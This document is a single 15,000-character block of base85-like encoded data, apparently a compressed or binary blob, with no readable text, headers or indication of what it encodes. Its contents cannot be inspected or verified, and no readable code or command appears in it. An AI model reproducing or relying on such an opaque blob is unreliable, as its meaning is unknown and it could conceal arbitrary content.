zwA~KeY3RWqWR_!>f1C4f2M6brBE1pHv~s=>lDBfa(4=*L zd{ty%k0Yc~{-LVE}Hg{(_d^U3*Ufd@^ zg(FVSM%;|G&r1AAU~Q|u{~Y%z-7G3GKcuk69QqZA9TG=YQwc}pLD;u_MXjHn9@3m_ ze-~jlp!gh4$!Y;uqm5P8 zy=+Y3B-8I3G~BGik{%)XOB|HvYP0PXgEsk&E_`0*8BA&aReA8$%ew+_@Ru?CZDXUI z`6jRKvm$vn3~=J21&pn11N>y(AkBp>(&uUzQ$^~BYBileKarpalm=hAG4V?=9PlP` zAU!2W#6=b2NVQ%}AQa>YYmrWvkD zde)%7Yxm!xho8nTWjQ@PO`~scIQOxXQ4o%utPhr_r#|dq?BsC&9zc|Af-nI#o)itm zi(w;_QXIk#*uvpl< z2KfSGU>N=NPZqrU8!T&ddi7}i^Ro}n@^zZ*VqliuY_i@lR*kfw-IjBR4rW%efdHVd zkY|HAoer(fXl;bs4Pd&H05&3of1-ovvtUd1R>%ogN&Yu$_%@kGnZTt{g^i5-Ve^dp zaIc0rBDjMYY)}(f?3JotZg63sej&!rmh~Ln*#U93e@GwZnvdJVsbQC+tAD}0#Vs|k zl#(-X{oEKUC>L3a3s0UhjQ|^Jc@6od0Y{4J4eV;>lcXzNXx*g^eCUSlyQ1GOeN=lO zQF=<5J9GH{(ONm*!*ak{Mt+75wZ>J^h^OO^k;M8f(NwXCe`7BCz#ee6A%3?q{^){a3%5oj ztE$WVbuv!**CrgfLFjl+3^dV@yArv0xJ5SW9Q=aB`|50Ftp(XT#Z}Br&&W4{Wn&{= zg`~0UtfO!IW9EW zK71M%uX*;()pxVsKI2RrIYHcXZVbO^tPDzG2AQE^p^x&uV%I`hiE&~A+Z5r5Z3{#P z=N!?GitTS?FlXp^J12e!cjL0iV*+N`AOY+AVLXLVIl007+x?~T?bCi#rkk%rYv05B zR#p;QuwvcAU7H7Z+T)G{xh~z3000`B0U6%`2d9$Uj94sVd9wK#$i#v@!s~YX0&JaC ziO4G@dcv7=hz4NLWbbC}pl@b4aZxIXY-VYEK{GSv)O4cJ5vy43d2GQ6OtG~2A_E;G zF>;63QN+pWDQl%9bNJXE7Ng-|f~?8JDBC1cY@gdE7jCN}CG_?g(Eb%rKFjP&+zZm9 zG*hH0gJ5S^I^2EvV-aJVv=8cq;=)9`_y%5xHxJ>GQ69ITayUPO8wP7wjyp{uZtj&X z&i+0d?nL#RB#3g}*c6+y)~FHM@qjYt6yvjA?sXoUtGxW_O`u?u^MGk%F^14Z3=Rz* z$#yn~MmVcP*f~z-H_``dP(5Kr@Zqe7Tno8J=u+Nt2Q4uGji(7)VVG&Zee!<}N>r&a z8B|j$>J?@Vp3%*wE=07Cx7|a^9nxL~efN;`?1io$QDH;JI{f*S{rRZ*g;(m{yno-0 z@0#x~jy?+=9PRgXuPC}@XHtoP9GXn_?z_fb4!%G#!u`MjFw{0}f`QL?lLCd9p*JO~ zrh0$1F+?&o`ako~3)^A+N_@6e03fuI%U;ecg|mJ56X@XC1jLaP^4@(8r z>Cz*r76<0c1Roa_!vkc*SQBpV)ki_e3DYrx&mE*;E+0jhT+){i!BZOaa9E2?<{LO- z56G1wi}>PA#{hJ)i=^S;izY%ByU@-%~>Eo_4$KD!26gjPi6nBoMb>yw%m7oZu4Wo)39O!MOJWBlT9&nH zmN|y?wuEU}B;h&4(V-9lm~U{g|hfT?1k=bzzE|Bo?``?rsQ;%(}(hPlQOlVw4@m74H#gQsgR5X$| zE&@elVx7SkVN&muThwsQBD}VV3E~GFer%y_vO`fx4s`QQr;qgqhIp$)T7gT%(@Yfh z6ATzIw-iXcm=Z;lq0wH~(k5yuog&8ZRj_=n1?JFPD^?EUQ@$+04KR}M@>dERv&7p7 zQArQR8)VOA+P{7k(-e%p`GTm;nT$}zP&1*Ep$YoOtTOo(Ip8$c@Df9ga7`~n5y|zs)V%~=WS9F_ z+T(cj-+!&3qB04HRcfT;M2&GVdBTXVAf6gEj3lQ+Qu2jP>L0WsjR?OS&1Y`1L0gZ` zYdq1=uA_c={tNslIgNeR>$=cXHXrt7}51(xf*3R1ov}!KcSUP zUG@Rr8wyaE?SYOIVFDm^nrMX$&}F2l1<6?XdENdl_yN+lnp%-^u|S+~aA(E>nbQ(? zv9Rzl8Tp7SDY&8PV=>zvbv4Xl?G*)zZ_{dLr0eyjZ;O`+T~6`C88-i z)ii1OLnu7BUH-!WVP_kr>*9n=55&fvc76->rBl*p_2?G#ZJXMSMF90xbHWkNH2?k_ zpB@LiMHc~2;SttjDw^p_sq%bqLU8qf2q!&SNRq?N8~~V}b!X%+o*=gl+rV9)F^CzU z@;Xrk@f0qC9HY+;4t!MM-v!H6 z&z#-2$oNRmXsBBE!G5y){xB~NEkp!P_+bHoqS-A{>9 zL%j+OY8}kd2~KLjs1c^+Ec*4qp-n+#+pXQyv93xeW1rgWYuu5O{9lFl~2(B1<83%XE(;Af1#F(Xna??3Jht8zgTtpt4Eb$-rqR5ZueAlLvx zO+!1%VdOq8+M%0gLeq!(r6ebg3FW2@6VSYnJrr;)N_@;hK-}O%18Cv80-&C@E^#;w zebrGw8uTLYyw{}02ybZkEkMQc-j?fzG17$k>x>`)GX3DT!oOtJSF~Pp`nw2)sdm$r zj%Nj`?u|s4Brs~=T}D{{QYcst>Wp3Gf#)9=h)VJ6NkX38kUm@{wkpDd`Z^!6XUr1x zte&k_-YRz>QtFRIP1b@|&oTJ@KmUDGhqnO)9j4o8S@P=uKMnI&tzb>4?2l{dB*~{p zi9(&9Y%x}x)&Z>pcLO!QQ`r@Cy==Qtg)XiuiH&k{zS=@6jY&$jT252qqr%8yADU00 zdqK)H{poP2G%Z(s7D}C!H(yKfPdLjCOKOEL z;VU|Ud{ExXi*IH|(4KP`1D6rmC}cPnZL4yBJeQgtNs%y_{-oI_pco9M*2`y}rgagq z1&B&Zi)sg@*~uTP+Q7l@l43v)N_Xv$Ly>IKAn|JVgvjJDf?872Zcfpb`%r`Y>%bdl zn*Zj^t)MGfibZ|NhC$cD2xZPEd7Y4OJuPA&gSiEN3j4UCUIHaQ zN<)v`g_3N+IPFE0I?>v{H{SVRgrW1f*u1$P2M#ZI zIxWY(L`ELFX!;Q;SH5i9*EF~HW10t0!|aX#%|&W)0^`2CBZKx>OfvXZ)(953V%%!D@8d_F2hqwO1W^UZ92ji8w)t_0vA9G*et68bfz6}C+gN%w$(Kr;Ze zjslptDJza2kycKJ@i_YW5ZWlVbWdu^bCo;def;}7aN3*)g`Lk^5*!BN4H!tqB67;s zT2a)sKrU<_^B7x>XCD4@{|6cq?V)A7gqeB9%v~Z*oX`_sKT7zKx`HmGHcY^AB7~{G z|5M5SPvWdqak-c-ycjSC;Nxd(cQ33FU%#6-%g1;^dFWj~&r#!a>CMfD#cPe5AJ8!k zMB-C%4HQmDfuHbqwSHJy-0tNVeF=S+-L721rM?fYcrqvpjTs4~27lmTuXDj+&VG)Z zjIL2;kXTsyWV`NTU6wsnX9w)hTfx$`=-2KZ3e&s0+s|EH;kakBpF@M6t1kUb_xko< ze)qSFJAOYdPaki`_n+BW`kl|uslR@oX_Hj>Xw_0sXgCQiA*W2`dR=e{0-thr%P9o0 zGzi)d++J|Z;XA}Yq_S70yHwLEiS+czY%JS(|i~mHpwJ@zql`hM#IHd+v|68I0=pLW}|9eZGL=;eQm5 zvSPT{F8kr~TY1IY!^y>gPMCJv^>7k&3r>gIdhD+1sAf<*4M;m=7Z>lUd$}lmjHPyO zNYVs;|4SuKu>yJ9bjjcZiDVx=TSDCXwyNuAzSkLmlm`^^P9sv565?iW>#HY}LFt;i z752J=cGc?ieeBKHAhDi{N~(Fc6MWkO>fwTmZ2z@icD&-tY8T@JB;4qwa{t33}V%QoU20&s$Lz zz!Tbx9>2>O9b&iF8+{k~JEQ_4+OBNPA9d%-%fvCJHWvH>8CE;N4Q#Mg&Ti8nnSqPf zNT>!1@Pvgq)5%+I<-w4|{XB{ywg`{t4p&Mc1)nMVy(1_oiR-hC*0KNalY^yL+vVM= zIZK(9Y;co<>&3H(;d$f1Nzn9PtZS@Zr4u!cl=m8v`u@iavPsn~6(N1Et(Tq*M^_B) zdY+6#aw1q1U-~=+A>i%7-BT|xLee7P0XjBGDT)4#?&sk$sFcOI!g&&GY9dZM1D2hu z?oHQWxCN$BL|*p&aIvwMd~B>M9TM%yax~k6c-cyJy1(D&$?)38y{>&&aZo#ladDPG z^dtevF<}VJCaPzSC!^YQg8fVur2qi~i`)0Z2GfO6V$5#$U7r+C^_eNk11ka*OUwaMKcKFsh`p^ukXLXusQsdE z6QPy=Qf}qdgIPk?RuesndZYFiESo47L^a@yLEUFq4}y!{pkG5O`VJnjJt3%FKS$fp z2bW~PM3EU>%DCaa08Si14+VN01BbBoT#u<;=FVkK-t(KoqUt3L!|98G+cK+)wqzX` zCxtVa7*?#%bXaG`zdwrG0@SlH+p(f+4#B4gtB9zZ(O-hjvSuNd0vsLI2}k(2qlIKt zUZBX|_w|l7pqxbH(OULkNE!90*;T#WfV}=kiu9j0C@l6><)hR{M;2-}cNiJG$r_ryfq;s=?mZ_n;PSJL5x zm(SRq4zBKAN!gpPeT>+^Fr_CSJb#`hHu!Pob<$4;f?aX6*4hskr90>?yH~`1e=3cM=f4r#YR^uS(4AvhSlpNANC>ZtV5I7{2_7-i zZ4dpvW_7r$hv`+*;;}3gSip%LazzsE>(PY? zy=%u7#CJ~NOx|X+?~@>iI?6!{@IffX zw(|xN6D*H10eY^p=N(!Ddoj{OcTEk$)$i*^3XQ>RC#-pn!g#u205KG2ef7+ukMWMx>G_#L=vPgUHd%N!G1=(OBtB zTJ1fkU>CUbcE6OJ$z=y+B8svZk#76X+3w?fHw2qMMd@F+Sm0tR(G(^LTIL;Kvp;e? zmE>;(zNaIOfMz*!u860P{yEI ziTG1vhEX)C9)9DJEK|Xf7uhx?CrP0D4K?akv)mv_V?Yiy`2Y9kx3Qb5ommkz7iJN+ zM&xWacNa}F69&C#v#;{pqaYkHqbb=~!;A*a7jJgOa3>XxFbXnrdevm_)wqlQ#`8iU z1;G=NTtk;RTg`eiUqe7>v9HyGB{5y1O!2wJ!BDQex&6+D!g(*1mk&K1x_*kXX%&O>KSMNqN8W`3N zR%Uh_;$)&P3+Ri~h^LQB2T?q7jHUR{TZ(6brSw8#cLw|u(P9>9I)zeEoErB_#2t~o zuT$6Vp3tkvUqyp30JGur8y^lVtgR@&2TZSKV&;oR$~;%PJzjQec~?z*GVR5fdtacU z#~-ef?VM&~d}Goig-Dzjr*Ef~FUDw=CgsYwQoEe-b|5&HzmQB6YYLJ4=YBYrtoQRT zu6dCYu`$i26PP0Ho*?{}l(Me{yh9>HAj0E`1oI&Hc`#RlW$dFwYNL;5=!s850WsR- ziz43^6oR6EAo0e?KsX8}@>PvLvSgDD#@H+RmVbp0Fu=zAsp zL_#i$E}OyZv!1W?U-sV$8Nzm-iaZnHUHzgX+xbT;%myqXv-Z0G)`2lOMZRsguf{oM zM?)=*M#SnCMt}SVA#eMx8BvqGH=Z{Az?Pk9^k48?j5_TbPrWfny={v>8M7-HAF@R@ zT?GR6do$*mD2tRXr-l!8(j>iG_GHjo8ouf9SC)zJ8-rHTD{0p6u?)!C?_8?^k8zBA zTJvBN6IDrKqADl%i;k7HLv~V9&G`N|N?Eb5iu^ypPp%;=R^{k=QgjUoS8`I?4CB~3 zDVHYB+h;4F!2eD6LQ*z!474@MC3eJFRA;RXuPq3ypC% zlb>negYD|5q+LwRwriA?FrI{nDFL2v1Pu(!bZZU|4)3<(*3EcP>f z@G#004M&ZpNWnE>8R$2hsY`>AF=0m5UM;{$D_a}3&){uW%%I;p{)+^EnEq${&wUDW z$^X)0Uo=eGG7vXBx~=%{|F$6;kmwrjlJ!n;DX;$)(P;0`Dn}B|Cfj4qcz4pV0aCJ) zjCkcg(5!)gJdFH8^kRaB$~OnFMT>rPrPoVW;@nKLkh4 z@|8=rek3ui6=b6y4q)LK%`lM$nO$k5}Z2eZqZ}~2T1`z5aSQ0{m@%+F4 zOSU-26H?A!Kxq>l{+HQD@AK-`ZCjnC{N7(x1+L}cAgxy zLy}{t5BmHMy#M01{phS94LBv6$^L&F;>)~J_PmC7g!Ce!%J5x^KMm)XWF|H+j&ro< z#iX~t|Fj-bI3_;*SEP}tyO)>vp1+eGAgj|1QbJJEY06LDfSm36vb3guIa!(G)%z|t z`=X$1ELhGc9(yslPD+|G>G@kHX2db_TlN1#^iBVH%>c+Sc=+(mcO!2t(Gt^(p z&(@UlRYG>tf?7${`45OAk|d>yugdRkmdGkqk_$|VWK}}={Ayz(57U2ZN^lZbX8{__r?pYZazCyYrLmIsSm zYMq4x8?9QaTzqoeSkEMg+eyQ!XTI-E4hTA`Pw1v<3Z$>hDSKo`2HeQK2fe6)2fA*< zY-4?VTYm{_s}ByIWh9a}uV{p};H)ARXE>&f>5DXIOH-<>AqpkcwF>lXKXZlh(w z8x>zZ56d%L$V#h5im$H*RDe5BnA)&r<1V3%LbINzB!`1kwU9Y55*HtLDCQY!r%dBY z9krN4RMO_M4ZQZ!FW}MNBHD11QUVUNBhPb?`wp8P0?jCJnP{Pkukb~9T3BOX3Eig3 z&j8IBBEU4VTU-O2Ru8}KDzqmW$+ky`aEf>v7wysJR@AzHE?^aneJX|q%NS4KQxHrF z%jU>HlNt24$;mChc+CaVZVc#FD;^v-Y6jEM-@@K}uk|6|bi({K;^535&xzCBpYStb zK%tY;*uXhAlf+11)-WTM{wKEf>|MKfNX3Z3gcr{*eaY<^2fMx_n)xD0!=RnO zrSn;O6Fr>{=k&?8KMXPt(~~g%w>-Oa_=LglCFj(bg)hyC(;#nhako4C3@9X+vWzW% zkW<`%Uc+3pNRWB&wTLvEM|;ecOYdnn zWUy^_ah2p$HfW!t84Dt=u{ub5%Th91f^Gg2`;m}*)UZK6%L8kPUO&D_-chk1?1NHx zH41?g4^;O9ObUbSaK0&29amjEuc^8Ngz;1Ka85(ld&Y`5cZ zy_8J+2r3bQQS5^s=Z{?efC(yM0OoXPgD3VG`@lidct1BSdB;(!1+BPhCZ4g>iF0|n zG`%CBBDuN^%Rfkcu=}+XIbgaBR#c)BMmJ=@d6`B{^J7$mnr#U+UfT8ME6jMt-J4o~ z)-J0Sm_^ZwZ5?21P1mmpDnSe5S-PnCC>?0OwBxfG5YE!}98y5QKHTe!Y2pvUotaoUfJ0O10FquS2wUuEA-3^kqEYcKl#*T_ z>ZooXt2H1!*S%C`C=r~u(1WVWmcbChiG2!mN{bPX+O(gT zQ(RrgmM95rgu(ET;PU0>0P{)Uq-@F2_06Ck3!s8!FUji;INUcVcX*)YefPufgPL0* zw`&M4!wc2W!GbxoJUtGy+#1;RhS4g`AHanpoOs#ZqtI9%mcjPjdwh3>b7o5d;ujLQt3~4w8ij13M$$r5S=2A-=}1_itP%C6!V3Pu(n$l1 zVsN06Eh_*0h5S#aiFOZ}XCYt4;C55L$-b0gCRxeLF?S|!%r09nXW=>XEA(axM2rlwg=l4;w`m2dGK~R?Av|swG=b&MOd5$|v*#!LBg8e?%j4 z3m`~N&hN=;cqW7ZlSB1UM2R$rMd2kIaZaR^a%Kcj<4gUr@ap9Cei10k0pt*#;qg#D zKu6RlKrty3(K^hFAzOwcI<^Y}7mh_4p~GchDg2}GirQ0N?7b5+gu}%X9;X##!VlX* zS4egfwG1t(l@hYIrzr zouJ$Wxwun|4;KsEHwlg)%$@z`0>F%qE zA~by|X$~|OHk9u*fL-DDN-Qi{qsYqzZN+_2)+tCKf}>vfrrGq~nGRHB-E1jmwVW*W zr0+1sXkC9h;*!Fk#_lp&_oNquFYj$adr5Dn0vGA#PtsRQ5#FJ*tnW|4WASAe$<-IM z6mAnd3!KoJqst2zOsj0kMq2{!SHBe8)n;A40JI?oy3n^7XEM`qRtv_hTyIxf9B?2KkV#?%d9DSl6lH zQtoNsw*7cm7Co5^9e2tux>G}R#iI7cn5;!&i||B_b2)|4cZD`Z=M52Q* ziDMv(gdV&4`h{X&zdU~9L0&aDy-2sH+=pqh{tY>B8McTv&C|o(MWpcXE4CbCHb-$V z4i|uxGO8N-H}Sjr1swg}%k|~ATA>)-rg`*&D)3GWk0MR8u@5kYJ!4Z~Y&)f7+*M)K zd2=F)2`4glZj9VrzlA3w4Fr4oOV~SY`h6YbyU2$zQCyd%Gmg0{VQG$fICnc7_O})n zDN7}8S9-y4UINISvuvQ<8F75u^iwjT*6ywzL1QZ60ry1AK*#4q28aH+)ElE#HC>#cUjeEfIv_HVW}5+J)gl zPlBf8C!!eZxXnm6DP4KZ!1wm;%?_D!Z9VWFePN{kZuqN zpNQn8wgk+%l)s_wgOrD`fg1lL{v1qfEx+b2agp91jGjUId4Vg6(oP6 zyYVf&cr@J70msoYiVOXx9WP(0Eas`I0DX>Wbc6a9b^eM}*J?$>*w7{wjr(k)v+#=l z>t$uJRN9V9?|xl;UnqUID4!P=OHgg;hW*}2T?}FKAapS*^U%KINLx_w*^z^P;K(W- z4jnUNtZ^B~iJR4s*Q}-~1*>?t8XhnXrq;$-IL4S5njt7&?NGe4aS+7tWkcdft2{Nk z%KJWYrl?h*P<@+E?ss8K4w|Khz}9r7TxN5txKVDvu?z*2USu-@mPj&GSLJd^OXWQg zwMHyvrWj_Z%#4Ev>upe|*N}T^np&vtnWvH`#&Vtz$@y90I6p0lvl{@H^jcPb6f)IL zbd$s3`0=|{A*%fCBp~7$J~t>pBuShJ4Uw$WB*a=okmeH8xAd*7!VqeElo{0(|<&CSjNipziA>?|gn0@*{n1=yTm=g281@pbQU9^=LL zE)|q7PUg?NxJJDXz38r|$_&ghgXzk|W|?@pG9S${A19Q_k<18P(2D|nDxFB30LIMA zEFM8IQ*8+NFQqY900n$D8>(R8rz9NpFWD^F4T4$zV8U}grGZU{2Z;MIxL?E=1P?LE z(iFVJrwPM`m`4zj{gt1_bT?xfq$o3G{KTg$nAzhO#T?c>W&Fga>Bf%{B18foq_j_d z%4lE`VJK)tox}6ya*8B;LHd|;2&F{@6s6cj;|UHqkfarYTF}Nb>-`i27{zLcF2Loz zfJv^JhR@MK>7w za2OWB%GiOuBGU~lLtgCTps)N>Ln3P+D;;ArNg=-W_wZ~a%ya%{xH00!EabiX!smtj z4E}w0`R?-l<$qt!UKTEYz5MQS;d1VB{_@l1m&?n`&zIYmKV1HJ`M1mbW%0c>ka0{x zrm+V}&P%?KNGtGE6$Q|u^5u>52aOiZpMMlI*}|Nc229vG&U!C_RUd>ciO?N5@)Mf% z>Fgpky?-HvRaC7QjQY5fVt_#INPU|#Vknai1v(jUl;_b+=b@5=1={zD*t!PC zj;R;^#$m%z&Jy;9kXG@`j&GGk(qB;D;p<%%1^(+h_*1NtJFXoqA-x{-G??b6k` z){*eiGEIcUj~t7l9d$a<9ZnYx7|h_^AXI@I`KBH?wOg16lv?zHJC5kWG0))qRswFy zqlk3#6nRUWn2A7K%^}Jl7SxORB1Q+rzuO!K$h#RJEfg8J@Rd9xFQ|f-(x!&<^1C1WwkB<*BE49 zMpjkl<1sD!>N=siL`}HVw#A;r)#Vp|EiAV3godr49anBSMjq}%#Nrz#WIm6`FJ>qJ zjSU(2W1x|6RElS%O&q@Vjy~}JE&Ti0Fja*P&$EQI+e<};!LPfk`kh=vwJtIkL@D;0U zp<4@2auH8yLL|n`h1FH{YF>5OtFBTEU6kn~MN(PVCXkqXY=%QrGawMK%%}t&XysJ~1$0rLBMQD_S$oLH zT!$C?`7~P}zO!aqAhe1zmZMR$o);NeH$up4D%45&B^Wl%^t@?KV1r8P)TBU7W=g3* z#1od-Iut<~P^M#4DR5Se%RsJLkw2epWKmsOTiya}5iA6@Oo&iy2(&)!MLboZwe2s8 z^yE`Ol7!a%!X0<)Ke1CfoP#MRr;8#Xfg(M}Yd^karKq+acE~7;t%>vrWsW50eun@s z)sXRn=4C(>zVmEFygmCvCyZ!%b5cfleMJuzFATHfn2}A*tVcAqzG;seX`<6Svz~-CYK7jNfHk+c|P6vzq+)!p-iq=V-N#Vkyw( zM!hs_dIpd+vAp;k=%B=wWDrY;1{s~JF4eMHLS~CJL{I3>1Rzs(VBTe_jXhHjle8Vx zh>^FhFw%OTI<>dHj-?lesPpNzeQUZAm=cg4g_I^%m$p2*7VQEXLP)*kc~-BJEt!;m ze1$ax&>Rg0th+!E%t1}9aD0BV!nB#rN#$!>cyQ{+aT>kUM{MSmIRa@b3Su-|23`#H zaKkpixWn5?07D1y;av!mFoy~ULN!GxU74({G!T!iXxw>&aNu<_{Ft`MlFW#1tK;gE zq(VwAByh@<52^8;AS0SmO5{26A>$}JB>>q*vvG3T6WcOzOyXM3!3Q;}3EW(+YU@{8 zS5kOm>D%B51O-Ebs2d6$Y`QlevuM8(8sqh+l!h)V(5N&il;H7Nj?R8X6kaWo5dj>L z43>dDpnlz8NID>6n*3zAVo{ED6@uI9{jlC7o}=G~qa|v`C=0jxR7g>=YG61tw80Qn@%&fccW3q@`pMX5r}Y#kqnk?;;yFy-{6o6Lu;J@KF%O zgNvYmwYzNQS+3w!OSRJSRf#_XrzA31UwMr$G#5(c9;}l6-B%}#<2wKDVsLDJyr>sv zibBW=c^5oSgD;yHxD3xv_3a) zyHU&g{@ybaVOf4+A&Y_1tANrJn)@VXkk8P2Eb? zU;{1u4KH0(MtS&RG}Yg=WOTV zRnoCg*G4fZQr`pQ2)yB7|qWh#O8HBPPa;r6V6)kho#q-9# zk|5X{wN$?f#@I?5AntP3Y>(Sxo(gvgf~_{?2C4SL@M)zYIf{aHq6~SXL_E44mmfao zt$V;RnJJu}uyxfgaonJ;6dTx*Qn)AveR}a>h~Xz6==o+* zt$DjfCG^Ez)BhMW4iC=j1^Bb=(Nki_(<-=PPb1|Av4?r8kc1^wYMaeygw~=^)Ns>< z2Dih3PtKaWxWiHE(S{ZEDuPZxXRL~Sd_p23&rXYQw5jkP{JYrPU0e`1X`gu!qU2Do zKlP?Q*~uD{4KNZzEw^Xl*fQ&#oF7z)cRt@e@lN(G(1#Zb=UAyZy6Xx5lx>5MtKxgg zm6l$CjGF*h$OOWnUeoaqL!JPU8o=UKP;~To30ce$l0F>J8%ZPMW`vItpqe)!G(qIo zcAJep?~hV1mwYz~^qSEei~I!WC#z9T8TlVw*S6w*H@-=MXnJ!*VWh5sPzMN=95y<} z-x7(oDKK8G2u;F|XkZcbDqMaGe>A(1-qab@#{ONu13S=T+o+5Hr3SkmZrWeS!yHV~ zt5Z=!xvYGs*$su&I3rKw_7blr8b$ogjAC%S8ot0DKO@v(g#v8a`I@gIDBt7h3d{nN zCV6f$OPCi)FnOr0+40%LKN<|R(Q}M`9ax!&2Z^_B9u^jH`vQn^8Yrrz-H2>L#7&6O z&o3z@4w9zht%-oaBgD4d(ldgvSKiKjV!8bX?PkfmBVt!o1O9QeC5qpK~G%*z`FskOxi|#FiBaoq?F@jbbaKs&sczGo@s)n#hCADfN z4bJeNMADaHE~V`G?%Cn#g;kW3CYIdWx!AGFVS-r-)n(UKR-mvm_-p0{e|H-Ya6I=bP_n#x8!?d&I;tp!}RT(}Reh&R^-}_OWEa|=o_Y3a|)?$%u zqHsod3DF&&SUjER`Z{2zCsOK4xr)ejDbXdYx7XMLH25nY2?P+$F;uQYeU}Ie5*X)) zE(&F~Szao<#CYUJL5aKwL<6V27NBacQoEx?+P}_^3l*a9gT#7g&aws;rjlRq@bD%E|3w^Tl;Qc z7RRU+wj@VfQQAAI(n)nvHB6eV%J5R+?S!&jS30=GX z5P3r35b{pkD*E!I(?KL*n*`W!Z^@EffeG6s&-8myQhEb)=7U0XbB(MKF)&ac>Vf#0 zX_1vkPcF#yIKov~KkfMf4HW=xP|!kGK_lS$ed)WRNe49iPMk$=IIa|ngSaQsA+!t6!53o0xT^V!m|6S^uBn)6= z%y~*Rs)l%PksJ6npOcFKSY5{YEp=!}8Ntm>)hpDz(dRC{)sN8^uXL}XjZpY={7sIp z!l^rQF7W_6X6&B1mMKIiw#0A2*;SU8*7TPC5X7mwxkz7=-em1SiL|cC={2#@8PU)3 zap~8RQ?j&ONY9-Y9D@&g#0dBDf>NFeZ+a2>1w-Q>r#bA?V(R8x7D`UhvF+L8mY|aP zC9+k8ia4^e@+)ckLbqTM1HUE?hsd~S=RtIXd=;1OOZUZ+)aONF(?&KEeXCW3wa#T@ zXLtYPz?6Iktz5kL?((wme(}5S7H_uW#chIADl9JMID0OmufozZBSawIwpl{qpml|4 zV^!|rO|6>3jTAn;-uY?2j1%<*_nO$dW9N2N(^6-%qnKd9*mU;mB$ToXa@IqLnDHRL7|P$jli7acjNSyu`7D6+-IzzC(5F+)nOpvB-!lbzil zJ69O^S$IdbCX_LtSa4w$ZJ<||!WptNr5e*$s*j+Mu($7DG;mDos%H+kRSgbf@}xlH zWD8iH{+hFurwdK#ZUcQT^@3q8_w)YQ`QgcNy;`X*8D{TSXlyF1sDUR#>vZPFuJ}>% zX?Ve5v1CFeVa#2_^6IME-rN%|@Ji^=>Ophpt!=*P&D%G0pqL_$=L3c=3!aP{qM95il>G0a7Blbmh zpCW2B$(dIf(A~b2_%cxdJQ+mF`S5JSm&*20PaM2V4N<8d%8nROM;d1q^;>4?P08~l z1KCDn;S#KFG^&B}LtvH$EXrUsK-Fxt-sd;W5RxJcdK4gEiNs!+ZIB@hkQayTn@?rg z-PP_W=e-{cO;+PnW{TMWsdjdcPIh;W>e(=JUV=2N8@w2GI+Z%8FIpTfYs(i53|dsN zRkAT5r4buTx)B0GYBP*)YqV5cI4fC*DaL+!G?bI|r$jnw-2HeIdvkGuXV|&~kusT^ z)vv`U2|NR(F_7qYlD#*q! zF`sGmJ`cHDsb!HnL~XRVof?^Bfj=cG$<93e@TrGTfSkeb7k zI#<4y9%)r4;d#!~Vs2<}bmVbP9_McJWzj(Z zfG&$rV4(E^E4hNDMhIDZE3QffJ0MGnLsr(Su8Jf=w;@het4uF5No3(J)AdzjnF?pO z+RgIV#h1vPss5!@F{sE>b-N5uGES)(|H{&YwKL{f;-3U?RdDo3uciQ#GP8K3wP%T- zc{fYa*_!PNjt8 z;vr;t%-SI^X-nrZkZKB&yKo)@h1ZS7W_kHt_wsn#Z0O&JPz`xf#U;^e{!edw=H3Sy z5ot|#5&QS(4{m7a@WG*#ylF9cFp7P-X*ToZ4k8>%4SC;+8NpgxsGeW3?t_zX=w29W zsuyZ5-Y>g)^97N2;(1$UoJ{iQ_ECh3d;-<826=ba3bU(gsna)4yNjXFI+h1+nrk!Q z>{P1ssLzW-T+fpdecrJaE6DFcOFKok-lELp5|<Bp^!V@ zcygr!yqAQH6VBFGO5+&*51u0HGHlR#6Kpc-5w-~YAcsK+2}4Q?zyb`5HT zO{pX|VQ!q-%}X(3hO+n^`88{WZmv9Pg<{Bzx&ka=Ds0h<)eb}SFNf0n4jb+>?YCps z{o2y{U)$}Ub-PWj^tD>;58G|mmY1Ho+paAy|GRhFuUmxU*W60&uf6vF#9o`S08!}w zZ`*3u)>fZ$t6f8;@ps#5-NkHn>knVD8`ZzINh&!A{z;d|c&qildcj(5x9n_nFR#qD zn@wu~?J;7~WlZIK)uo3!_ z5T>rP-mB;i8&blRiY8jp6(yQ}1-Md6BG7>76KOzPi^^o>!t$_<{lb3i?&AIQKgl-n zR)gABro(N#F(gYLOy{=9UYbLZf*6HQ)$j9#zvsU=h1`|(cf()p)0n9B+VWGGsP)>~ zlbEPSpK=`M0nH9sjEm_ScL1^hD&zUDIRvGH8bjgNm;X8l{b>$D8HnUg`RX5c7+PO@ z@?mIwZTXShmS;B&2U+^ElCjM)SGsdXO0H>|+llM>DGPYgibeJOzm8G=2aZvh3wX2o zZ#+z`Z*D&4VQOQk_Q>U((p0^~xzo;xOKk5sYsq7o1bRV&x@BAC)<&}RkHW>btg zV8|uo%^3UYDT+?K9LF#T(MLq}M7SIO8vTk154*%~x{kOus+(KN|A9>gjPS=oca?i$ zT(Q=#*hND@rwJFGh1yjPn~XM&PK_vJyUZI!3^i--2SYdZyVc9Qc5O+ZrYbd^x62Jw zg?@~;%gp|)C;Rj9aUJ>ibv-~4;&b$1Ib}wEeq0ZJ{>mOab`Em3S+djsz>tw-R6a{C zqyg|IV6*blk(-r~tn=E+F%Kum-Y|#Ctlr#w?i11j)I(*DDR79(eUYZ>cGMW6@O3AY zjFU%fO-860zd}C#DnReiK>vb6!K)y0rjojJ2w0AoX`qmzgWv{(MiUs}Vu((B6vqlq zj;+wY>9L0)a{Zy=fpV-abbN^`n;JpkzDDGN8z2EU!b%qj;;_2v@DK(~kZuA1V1G26 z$W&yOOmG=OIYh=hF`aH>dS0u*-~cU1TzL1Z_kLkQ}nY6&^Q{PV<S(x{t9=aZqj>K}a!j)J>@;Wkz3_9T<+|}AQ_+psc zZ@WP*$oUK*y(}_C_5}@p!OSirU?@+8W+0OVMF&2^bHsnI|4G01&8Xd`r(r9m-xmGt zx30CzL2l-}DJjAsmx!vDX34uA4aI7y7mH{yg7aeaW!7s315}TPk)>$H73(uGAkx)g z1^ph1Xd4XlD!A{9s66bOXv-_U`?c~Ooz+)RxvO}UGwV7yeEWKT%R7XlLnjPAk^l=p zVBmKXF0H|%@S0rsmdpN!uxmCer9>{H$X!(A@d4h}~et7c*4D zaw)8qp~q|x5uu7K=%=2ccnrHWZE=U?T3?qu*ZR8aot@^aV2zv8{LLks4^G6lG1*`h z&c+N~qq#R3@HsYHY*+=L563o=f|AEhr~ryp9vw%~_CUV&u;3tyWBENn|2J3D>}CL< zF_LJp;5dbm6eCpyu2!xQ9ZU;na)<_dFq+M3mE&POLI@TS>1eurxxKy#$X~X zrCCjV95%F&!n*!XAT67 z#@IfY!F)ExFl7r^O+u;++lkjWc5ica zBVm}r8ONEX=p1WqWfB8&+?9HQ+Djgkzq`#@bKO1w`jA2UbX3U7J^4NWv)@12TxvQI 